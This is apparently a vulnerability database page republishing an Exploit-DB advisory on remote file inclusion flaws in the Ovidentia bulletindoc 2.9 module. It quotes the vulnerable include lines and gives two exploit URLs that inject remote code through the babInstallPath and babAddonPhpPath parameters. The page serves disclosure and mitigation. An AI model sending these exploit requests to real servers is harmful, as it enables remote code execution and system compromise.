Ovidentia Module bulletindoc 2.9 Multiple Remote File Inclusion Vulnerabilities

vendor:

Module bulletindoc

by:

bd0rk

9,3

CVSS

HIGH

Multiple Remote File Inclusion

CWE

Product Name: Module bulletindoc

Affected Version From: 2.9

Affected Version To: 2.9

Patch Exists: NO

Related CWE: N/A

CPE: ovidentia:module:bulletindoc

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu-Linux

2020

Ovidentia Module bulletindoc 2.9 Multiple Remote File Inclusion Vulnerabilities

The $babInstallPath-parameter and $GLOBALS['babAddonPhpPath']-parameter are not declared before include, allowing an attacker to execute malicious code.

Mitigation:

Ensure that all user-supplied input is validated and sanitized before being used in any include or require statements.

Source

Exploit-DB raw data:

# Title: Ovidentia Module bulletindoc 2.9 Multiple Remote File Inclusion Vulnerabilities
# Author: bd0rk
# eMail: bd0rk[at]hackermail.com
# Twitter: twitter.com/bd0rk
# Tested on: Ubuntu-Linux
# Download: http://www.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FAdd-ons%2FModules%2Fbulletindoc&file=bulletindoc-2-9.zip&idf=792

PoC1:

/bulletindoc-2-9/programs/admin.php line 2
------------------------------------------------------

include $babInstallPath."admin/acl.php";

------------------------------------------------------

[+]Sploit1: http://[s0me0ne]/bulletindoc-2-9/programs/admin.php?babInstallPath=[EviLCode]

Description: The $babInstallPath-parameter isn't declared before include.
             So an attacker can execute evil-code 'bout this.



PoC2:

/bulletindoc-2-9/programs/main.php line 2
-------------------------------------------------------

require_once( $GLOBALS['babAddonPhpPath']."fonctions.php");

-------------------------------------------------------

[+]Sploit2: http://[s0me0ne/bulletindoc-2-9/programs/main.php?GLOBALS[babAddonPhpPath]=SHELLCODE?

Description: The problem is the same as the first. -.-
             It's possible to compromise the system.

### The 27 years old, german hacker bd0rk ###

Greetz: Kacper Szurek, High-Tech Bridge, rgod, LiquidWorm